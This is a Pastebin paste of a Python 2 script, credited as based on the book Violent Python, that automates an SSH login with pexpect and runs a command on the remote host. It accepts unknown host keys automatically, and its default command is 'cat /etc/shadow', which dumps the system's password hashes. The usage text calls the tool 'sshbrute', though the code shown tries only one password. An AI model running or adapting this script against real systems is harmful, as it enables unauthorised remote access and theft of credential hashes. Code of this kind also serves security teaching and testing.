Advertisement
Guest User

Untitled

a guest
Apr 18th, 2016
190
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.28 KB | None | 0 0
  1. #
  2. # Pexpect driven SSH Command sending script.
  3. # Based on:
  4. # Violent Python, by TJ O'Connor
  5. #
  6.  
  7. import pexpect
  8. from sys import argv, exit
  9.  
  10. PROMPT = ['#', '>>>', '> ', '\$ ']
  11.  
  12. def send_command( child, cmd):
  13. child.sendline(cmd)
  14. child.expect(PROMPT)
  15. print child.before
  16.  
  17. def connect(user, host, password):
  18. ssh_newkey = 'Are you sure you want to continue connecting'
  19. connstr = 'ssh ' + user + '@' + host
  20.  
  21. child = pexpect.spawn(connstr)
  22. ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:'])
  23.  
  24. if ret == 0:
  25. print '[-] Error connecting.'
  26. return
  27. elif ret == 1:
  28. child.sendline('yes')
  29. ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:'])
  30.  
  31. if ret == 0:
  32. print '[-] Error connecting.'
  33. return
  34.  
  35. child.sendline(password)
  36. try:
  37. child.expect(PROMPT)
  38. except pexpect.TIMEOUT:
  39. print '[ERR] Invalid password.'
  40. exit(0)
  41. return child
  42.  
  43. def main():
  44. if len(argv) < 3:
  45. print 'Usage: sshbrute host login pass [cmd]'
  46. return
  47.  
  48. host = argv[1]
  49. user = argv[2]
  50. password = argv[3]
  51. cmd = 'cat /etc/shadow'
  52. if len(argv) > 4:
  53. cmd = argv[4]
  54.  
  55. child = connect(user, host, password)
  56.  
  57. send_command(child, cmd)
  58.  
  59. if __name__ == '__main__':
  60. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement